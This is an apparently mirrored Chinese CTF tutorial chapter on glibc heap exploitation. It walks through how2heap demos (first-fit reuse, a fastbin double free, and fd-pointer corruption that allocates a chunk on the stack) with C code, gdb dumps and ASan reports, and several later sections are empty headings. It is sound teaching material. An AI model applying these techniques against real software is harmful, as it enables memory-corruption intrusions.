mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
534 lines
22 KiB
Markdown
534 lines
22 KiB
Markdown
# 3.3.5 堆利用
|
||
|
||
- [Linux 堆简介](#linux-堆简介)
|
||
- [how2heap](#how2heap)
|
||
- [first_fit](#first_fit)
|
||
- [fastbin_dup](#fastbin_dup)
|
||
- [fastbin_dup_into_stack](#fastbin_dup_into_stack)
|
||
- [unsafe_unlink](#unsafe_unlink)
|
||
- [house_of_spirit](#house_of_spirit)
|
||
- [poison_null_byte](#poison_null_byte)
|
||
- [house_of_lore](#house_of_lore)
|
||
- [overlapping_chunks](#overlapping_chunks)
|
||
- [overlapping_chunks_2](#overlapping_chunks_2)
|
||
- [house_of_force](#house_of_force)
|
||
- [unsorted_bin_attack](#unsorted_bin_attack)
|
||
- [house_of_einherjar](#house_of_einherjar)
|
||
- [house_of_orange](#house_of_orange)
|
||
- [参考资料](#参考资料)
|
||
|
||
|
||
## Linux 堆简介
|
||
堆是程序虚拟地址空间中的一块连续的区域,由低地址向高地址增长。当前 Linux 使用的堆分配器被称为 ptmalloc2,在 glibc 中实现。
|
||
|
||
更详细的我们已经在章节 1.5.8 中介绍了,章节 1.5.7 中也有相关内容,请回顾一下。
|
||
|
||
|
||
## how2heap
|
||
how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术,这篇文章我们就通过这个教程来学习。推荐使用 Ubuntu 16.04 64位系统环境,glibc 版本如下:
|
||
```
|
||
$ file /lib/x86_64-linux-gnu/libc-2.23.so
|
||
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
|
||
```
|
||
```
|
||
$ git clone https://github.com/shellphish/how2heap.git
|
||
$ cd how2heap
|
||
$ make
|
||
```
|
||
|
||
请注意,下文中贴出的代码是我简化过的,剔除和修改了一些不必要的注释和代码,以方便学习。另外,正如章节 4.3 中所讲的,添加编译参数 `CFLAGS += -fsanitize=address` 可以检测内存错误。[下载文件](../src/Others/3.3.5_heap_exploit)
|
||
|
||
#### first_fit
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
|
||
int main() {
|
||
char* a = malloc(512);
|
||
char* b = malloc(256);
|
||
char* c;
|
||
|
||
fprintf(stderr, "1st malloc(512): %p\n", a);
|
||
fprintf(stderr, "2nd malloc(256): %p\n", b);
|
||
strcpy(a, "AAAAAAAA");
|
||
strcpy(b, "BBBBBBBB");
|
||
fprintf(stderr, "first allocation %p points to %s\n", a, a);
|
||
|
||
fprintf(stderr, "Freeing the first one...\n");
|
||
free(a);
|
||
|
||
c = malloc(500);
|
||
fprintf(stderr, "3rd malloc(500): %p\n", c);
|
||
strcpy(c, "CCCCCCCC");
|
||
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
|
||
fprintf(stderr, "first allocation %p points to %s\n", a, a);
|
||
}
|
||
```
|
||
```
|
||
$ gcc -g first_fit.c
|
||
$ ./a.out
|
||
1st malloc(512): 0x1380010
|
||
2nd malloc(256): 0x1380220
|
||
first allocation 0x1380010 points to AAAAAAAA
|
||
Freeing the first one...
|
||
3rd malloc(500): 0x1380010
|
||
3rd allocation 0x1380010 points to CCCCCCCC
|
||
first allocation 0x1380010 points to CCCCCCCC
|
||
```
|
||
这第一个程序展示了 glibc 堆分配的策略,即 first-fit。在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。
|
||
|
||
在 gdb 中调试,两个 malloc 之后(chunk 位于 malloc 返回地址减去 0x10 的位置):
|
||
```
|
||
gef➤ x/5gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a
|
||
0x602010: 0x4141414141414141 0x0000000000000000
|
||
0x602020: 0x0000000000000000
|
||
gef➤ x/5gx 0x602220-0x10
|
||
0x602210: 0x0000000000000000 0x0000000000000111 <-- chunk b
|
||
0x602220: 0x4242424242424242 0x0000000000000000
|
||
0x602230: 0x0000000000000000
|
||
```
|
||
第一个 free 之后,将其加入到 unsorted bin 中:
|
||
```
|
||
gef➤ x/5gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a [be freed]
|
||
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd pointer, bk pointer
|
||
0x602020: 0x0000000000000000
|
||
gef➤ x/5gx 0x602220-0x10
|
||
0x602210: 0x0000000000000210 0x0000000000000110 <-- chunk b
|
||
0x602220: 0x4242424242424242 0x0000000000000000
|
||
0x602230: 0x0000000000000000
|
||
gef➤ heap bins unsorted
|
||
[ Unsorted Bin for arena 'main_arena' ]
|
||
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
|
||
→ Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)
|
||
[+] Found 1 chunks in unsorted bin.
|
||
```
|
||
第三个 malloc 之后:
|
||
```
|
||
gef➤ x/5gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk c
|
||
0x602010: 0x4343434343434343 0x00007ffff7dd1d00
|
||
0x602020: 0x0000000000000000
|
||
gef➤ x/5gx 0x602220-0x10
|
||
0x602210: 0x0000000000000210 0x0000000000000111 <-- chunk b
|
||
0x602220: 0x4242424242424242 0x0000000000000000
|
||
0x602230: 0x0000000000000000
|
||
```
|
||
|
||
好了,现在我们加上内存检测参数重新编译:
|
||
```
|
||
$ gcc -fsanitize=address -g first_fit.c
|
||
$ ./a.out
|
||
1st malloc(512): 0x61500000fd00
|
||
2nd malloc(256): 0x611000009f00
|
||
first allocation 0x61500000fd00 points to AAAAAAAA
|
||
Freeing the first one...
|
||
3rd malloc(500): 0x61500000fa80
|
||
3rd allocation 0x61500000fa80 points to CCCCCCCC
|
||
=================================================================
|
||
==4525==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f49d14a61e9 bp 0x7ffe40b526e0 sp 0x7ffe40b51e58
|
||
READ of size 2 at 0x61500000fd00 thread T0
|
||
#0 0x7f49d14a61e8 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8)
|
||
#1 0x7f49d14a6bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc)
|
||
#2 0x7f49d14a6cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9)
|
||
#3 0x400b8b in main /home/firmy/how2heap/first_fit.c:23
|
||
#4 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||
#5 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
|
||
|
||
0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)
|
||
freed by thread T0 here:
|
||
#0 0x7f49d14de2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
|
||
#1 0x400aa2 in main /home/firmy/how2heap/first_fit.c:17
|
||
#2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||
|
||
previously allocated by thread T0 here:
|
||
#0 0x7f49d14de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
|
||
#1 0x400957 in main /home/firmy/how2heap/first_fit.c:6
|
||
#2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||
```
|
||
一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
|
||
|
||
#### fastbin_dup
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
|
||
int main() {
|
||
fprintf(stderr, "Allocating 3 buffers.\n");
|
||
char *a = malloc(9);
|
||
char *b = malloc(9);
|
||
char *c = malloc(9);
|
||
strcpy(a, "AAAAAAAA");
|
||
strcpy(b, "BBBBBBBB");
|
||
strcpy(c, "CCCCCCCC");
|
||
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
|
||
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
|
||
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
|
||
|
||
fprintf(stderr, "Freeing the first one %p.\n", a);
|
||
free(a);
|
||
fprintf(stderr, "Then freeing another one %p.\n", b);
|
||
free(b);
|
||
fprintf(stderr, "Freeing the first one %p again.\n", a);
|
||
free(a);
|
||
|
||
fprintf(stderr, "Allocating 3 buffers.\n");
|
||
char *d = malloc(9);
|
||
char *e = malloc(9);
|
||
char *f = malloc(9);
|
||
strcpy(d, "DDDDDDDD");
|
||
fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
|
||
strcpy(e, "EEEEEEEE");
|
||
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
|
||
strcpy(f, "FFFFFFFF");
|
||
fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
|
||
}
|
||
```
|
||
```
|
||
$ gcc -g fastbin_dup.c
|
||
$ ./a.out
|
||
Allocating 3 buffers.
|
||
1st malloc(9) 0x1c07010 points to AAAAAAAA
|
||
2nd malloc(9) 0x1c07030 points to BBBBBBBB
|
||
3rd malloc(9) 0x1c07050 points to CCCCCCCC
|
||
Freeing the first one 0x1c07010.
|
||
Then freeing another one 0x1c07030.
|
||
Freeing the first one 0x1c07010 again.
|
||
Allocating 3 buffers.
|
||
4st malloc(9) 0x1c07010 points to DDDDDDDD the first time
|
||
5nd malloc(9) 0x1c07030 points to EEEEEEEE
|
||
6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time
|
||
```
|
||
这个程序展示了利用 fastbins 的 double-free 攻击。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
|
||
|
||
三个 malloc 之后:
|
||
```
|
||
gef➤ x/15gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||
0x602010: 0x4141414141414141 0x0000000000000000
|
||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
|
||
0x602030: 0x4242424242424242 0x0000000000000000
|
||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||
0x602050: 0x4343434343434343 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk
|
||
0x602070: 0x0000000000000000
|
||
```
|
||
第一个 free 之后,chunk a 被添加到 fastbins 中:
|
||
```
|
||
gef➤ x/15gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed]
|
||
0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer
|
||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
|
||
0x602030: 0x4242424242424242 0x0000000000000000
|
||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||
0x602050: 0x4343434343434343 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||
0x602070: 0x0000000000000000
|
||
gef➤ heap bins fast
|
||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
|
||
```
|
||
第二个 free 之后,chunk b 被添加到 fastbins 中:
|
||
```
|
||
gef➤ x/15gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed]
|
||
0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer
|
||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
|
||
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
|
||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||
0x602050: 0x4343434343434343 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||
0x602070: 0x0000000000000000
|
||
gef➤ heap bins fast
|
||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
|
||
```
|
||
第三个 free 之后,chunk a 再次被添加到 fastbins 中:
|
||
```
|
||
gef➤ x/15gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed again]
|
||
0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer
|
||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
|
||
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
|
||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||
0x602050: 0x4343434343434343 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||
0x602070: 0x0000000000000000
|
||
gef➤ heap bins fast
|
||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected]
|
||
```
|
||
再三个 malloc 之后:
|
||
```
|
||
gef➤ x/15gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d, chunk f
|
||
0x602010: 0x4646464646464646 0x0000000000000000
|
||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk e
|
||
0x602030: 0x4545454545454545 0x0000000000000000
|
||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||
0x602050: 0x4343434343434343 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||
0x602070: 0x0000000000000000
|
||
```
|
||
|
||
加上内存检测参数重新编译:
|
||
```
|
||
$ gcc -fsanitize=address -g fastbin_dup.c
|
||
$ ./a.out
|
||
Allocating 3 buffers.
|
||
1st malloc(9) 0x60200000eff0 points to AAAAAAAA
|
||
2nd malloc(9) 0x60200000efd0 points to BBBBBBBB
|
||
3rd malloc(9) 0x60200000efb0 points to CCCCCCCC
|
||
Freeing the first one 0x60200000eff0.
|
||
Then freeing another one 0x60200000efd0.
|
||
Freeing the first one 0x60200000eff0 again.
|
||
=================================================================
|
||
==5650==ERROR: AddressSanitizer: attempting double-free on 0x60200000eff0 in thread T0:
|
||
#0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
|
||
#1 0x400ba3 in main /home/firmy/how2heap/fastbin_dup.c:22
|
||
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||
#3 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
|
||
|
||
0x60200000eff0 is located 0 bytes inside of 9-byte region [0x60200000eff0,0x60200000eff9)
|
||
freed by thread T0 here:
|
||
#0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
|
||
#1 0x400b0d in main /home/firmy/how2heap/fastbin_dup.c:18
|
||
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||
|
||
previously allocated by thread T0 here:
|
||
#0 0x7fdc18ebf602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
|
||
#1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7
|
||
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||
```
|
||
一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
|
||
|
||
#### fastbin_dup_into_stack
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
|
||
int main() {
|
||
unsigned long long stack_var = 0x21;
|
||
fprintf(stderr, "Allocating 3 buffers.\n");
|
||
char *a = malloc(9);
|
||
char *b = malloc(9);
|
||
char *c = malloc(9);
|
||
strcpy(a, "AAAAAAAA");
|
||
strcpy(b, "BBBBBBBB");
|
||
strcpy(c, "CCCCCCCC");
|
||
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
|
||
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
|
||
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
|
||
|
||
fprintf(stderr, "Freeing the first one %p.\n", a);
|
||
free(a);
|
||
fprintf(stderr, "Then freeing another one %p.\n", b);
|
||
free(b);
|
||
fprintf(stderr, "Freeing the first one %p again.\n", a);
|
||
free(a);
|
||
|
||
fprintf(stderr, "Allocating 4 buffers.\n");
|
||
unsigned long long *d = malloc(9);
|
||
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
|
||
fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
|
||
char *e = malloc(9);
|
||
strcpy(e, "EEEEEEEE");
|
||
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
|
||
char *f = malloc(9);
|
||
strcpy(f, "FFFFFFFF");
|
||
fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
|
||
char *g = malloc(9);
|
||
strcpy(g, "GGGGGGGG");
|
||
fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
|
||
}
|
||
```
|
||
```
|
||
$ gcc -g fastbin_dup_into_stack.c
|
||
$ ./a.out
|
||
Allocating 3 buffers.
|
||
1st malloc(9) 0xcf2010 points to AAAAAAAA
|
||
2nd malloc(9) 0xcf2030 points to BBBBBBBB
|
||
3rd malloc(9) 0xcf2050 points to CCCCCCCC
|
||
Freeing the first one 0xcf2010.
|
||
Then freeing another one 0xcf2030.
|
||
Freeing the first one 0xcf2010 again.
|
||
Allocating 4 buffers.
|
||
4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0
|
||
5nd malloc(9) 0xcf2030 points to EEEEEEEE
|
||
6rd malloc(9) 0xcf2010 points to FFFFFFFF
|
||
7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG
|
||
```
|
||
这个程序展示了怎样通过修改 fd 指针,将其指向一个伪造的 free chunk,在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样,漏洞也同样是 double-free,只有给 fd 填充的内容不一样。
|
||
|
||
三个 malloc 之后:
|
||
```
|
||
gef➤ x/15gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||
0x602010: 0x4141414141414141 0x0000000000000000
|
||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
|
||
0x602030: 0x4242424242424242 0x0000000000000000
|
||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||
0x602050: 0x4343434343434343 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk
|
||
0x602070: 0x0000000000000000
|
||
```
|
||
三个 free 之后:
|
||
```
|
||
gef➤ x/15gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed twice]
|
||
0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer
|
||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
|
||
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
|
||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||
0x602050: 0x4343434343434343 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||
0x602070: 0x0000000000000000
|
||
gef➤ heap bins fast
|
||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected]
|
||
```
|
||
这一次 malloc 之后,我们不再填充无意义的 "DDDDDDDD",而是填充一个地址,即栈地址减去 0x8,从而在栈上伪造出一个 free 的 chunk(当然也可以是其他的地址):
|
||
```
|
||
gef➤ x/15gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d
|
||
0x602010: 0x00007fffffffdc30 0x0000000000000000 <-- fd pointer
|
||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
|
||
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
|
||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||
0x602050: 0x4343434343434343 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||
0x602070: 0x0000000000000000
|
||
gef➤ p &stack_var
|
||
$4 = (unsigned long long *) 0x7fffffffdc38
|
||
gef➤ x/5gx 0x7fffffffdc38-0x8
|
||
0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk [seems to be freed]
|
||
0x7fffffffdc40: 0x0000000000602010 0x0000000000602010 <-- fd pointer
|
||
0x7fffffffdc50: 0x0000000000602030
|
||
gef➤ heap bins fast
|
||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]
|
||
```
|
||
可以看到,伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部:
|
||
```
|
||
gef➤ x/15gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021
|
||
0x602010: 0x4646464646464646 0x0000000000000000
|
||
0x602020: 0x0000000000000000 0x0000000000000021
|
||
0x602030: 0x4545454545454545 0x0000000000000000
|
||
0x602040: 0x0000000000000000 0x0000000000000021
|
||
0x602050: 0x4343434343434343 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||
0x602070: 0x0000000000000000
|
||
gef➤ heap bins fast
|
||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]
|
||
```
|
||
再次 malloc,即可在 fake chunk 处分配内存:
|
||
```
|
||
gef➤ x/5gx 0x7fffffffdc38-0x8
|
||
0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk
|
||
0x7fffffffdc40: 0x4747474747474747 0x0000000000602000
|
||
0x7fffffffdc50: 0x0000000000602030
|
||
```
|
||
|
||
#### unsafe_unlink
|
||
```c
|
||
|
||
```
|
||
这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的。
|
||
|
||
Ubuntu16.04 使用 libc-2.23,其中 unlink 是通过宏实现的,代码如下:
|
||
```c
|
||
/* Take a chunk off a bin list */
|
||
#define unlink(AV, P, BK, FD) { \
|
||
FD = P->fd; \
|
||
BK = P->bk; \
|
||
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
|
||
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
|
||
else { \
|
||
FD->bk = BK; \
|
||
BK->fd = FD; \
|
||
if (!in_smallbin_range (P->size) \
|
||
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
|
||
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|
||
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
|
||
malloc_printerr (check_action, \
|
||
"corrupted double-linked list (not small)", \
|
||
P, AV); \
|
||
if (FD->fd_nextsize == NULL) { \
|
||
if (P->fd_nextsize == P) \
|
||
FD->fd_nextsize = FD->bk_nextsize = FD; \
|
||
else { \
|
||
FD->fd_nextsize = P->fd_nextsize; \
|
||
FD->bk_nextsize = P->bk_nextsize; \
|
||
P->fd_nextsize->bk_nextsize = FD; \
|
||
P->bk_nextsize->fd_nextsize = FD; \
|
||
} \
|
||
} else { \
|
||
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
|
||
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
|
||
} \
|
||
} \
|
||
} \
|
||
}
|
||
```
|
||
其中存在一个溢出的问题,
|
||
|
||
而在 libc-2.25 中已经修复了这个溢出漏洞,在开头增加了对 size 和 next->prev->size 是否相同的检查,补丁如下:
|
||
```diff
|
||
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c
|
||
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
|
||
Author: DJ Delorie <dj@delorie.com>
|
||
Date: Fri Mar 17 15:31:38 2017 -0400
|
||
|
||
Further harden glibc malloc metadata against 1-byte overflows.
|
||
|
||
Additional check for chunk_size == next->prev->chunk_size in unlink()
|
||
|
||
2017-03-17 Chris Evans <scarybeasts@gmail.com>
|
||
|
||
* malloc/malloc.c (unlink): Add consistency check between size and
|
||
next->prev->size, to further harden against 1-byte overflows.
|
||
|
||
diff --git a/malloc/malloc.c b/malloc/malloc.c
|
||
index e29105c372..994a23248e 100644
|
||
--- a/malloc/malloc.c
|
||
+++ b/malloc/malloc.c
|
||
@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr;
|
||
|
||
/* Take a chunk off a bin list */
|
||
#define unlink(AV, P, BK, FD) { \
|
||
+ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
|
||
+ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
|
||
FD = P->fd; \
|
||
BK = P->bk; \
|
||
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
|
||
```
|
||
|
||
#### house_of_spirit
|
||
|
||
#### poison_null_byte
|
||
|
||
#### house_of_lore
|
||
|
||
#### overlapping_chunks
|
||
|
||
#### overlapping_chunks_2
|
||
|
||
#### house_of_force
|
||
|
||
#### unsorted_bin_attack
|
||
|
||
#### house_of_einherjar
|
||
|
||
#### house_of_orange
|
||
|
||
|
||
## 参考资料
|
||
- [how2heap](https://github.com/shellphish/how2heap)
|
||
- [Heap Exploitation](https://heap-exploitation.dhavalkapil.com/)
|